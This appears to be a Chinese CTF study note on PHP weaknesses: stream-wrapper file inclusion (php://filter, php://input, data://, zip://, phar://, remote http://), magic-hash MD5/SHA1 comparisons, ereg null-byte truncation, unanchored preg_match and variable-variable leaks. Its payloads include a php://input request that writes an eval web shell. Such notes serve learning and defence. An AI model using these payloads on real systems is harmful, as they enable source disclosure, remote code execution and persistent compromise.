最近做了一些题,利用到了一些函数,方法。因此总结一下。
strcmp()
strcmp(str1,str2)
if (str1>str2) return 正数
if (str1<str2) return 负数
if (str1=str2) return 0
in_array()
php伪协议
file://协议
条件:
allow_url_fopen:off/on
allow_url_include :off/on
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响。
例子:
绝对路径:
http://xxx/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
相对路径:
http://xxx/include.php?file=./phpinfo.txt
php://协议
条件:
allow_url_fopen:off/on
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。
例子:
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input + [POST DATA]执行php代码
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib:// 协议
条件:
allow_url_fopen:off/on
allow_url_include :off/on
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
例子:
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://xxx/include.phpfile=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://xxx/include.phpfile=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data:// 协议
条件:
allow_url_fopen:on
allow_url_include :on
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
例子:
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http:// & https:// 协议
条件:
allow_url_fopen:on
allow_url_include :on
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
例子:
http://xxx/include.php?file=http://xxx/phpinfo.txt
phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
例子:
http://127.0.0.1/include.phpfile=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。
MD5比较漏洞
php有时会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
同时md5 和 sha1 无法处理数组,返回 NULL
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2
ereg函数漏洞:%00截断
ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。
%00截断及遇到%00则默认为字符串的结束
1e9=1000000000
e一定是小写
preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo('key...');
}
?>
字符串比较
<?php
echo 0 == 'a' ;// 0=a 重点注意
// 十六进制与整数,被转换为同一进制比较
// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
'0xccccccccc' == '54975581388' ;
// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0,即为第一条
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;
// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef' == ' 0xABCdef';
echo '0010e2' == '1e3';
// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
php全局变量
看到这个页面
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
看到$$args
知道可以传全局变量给这个可变变量因此构造
http://xxx.com/?args=GLOBAL
目前总结了这些,欢迎大家补充。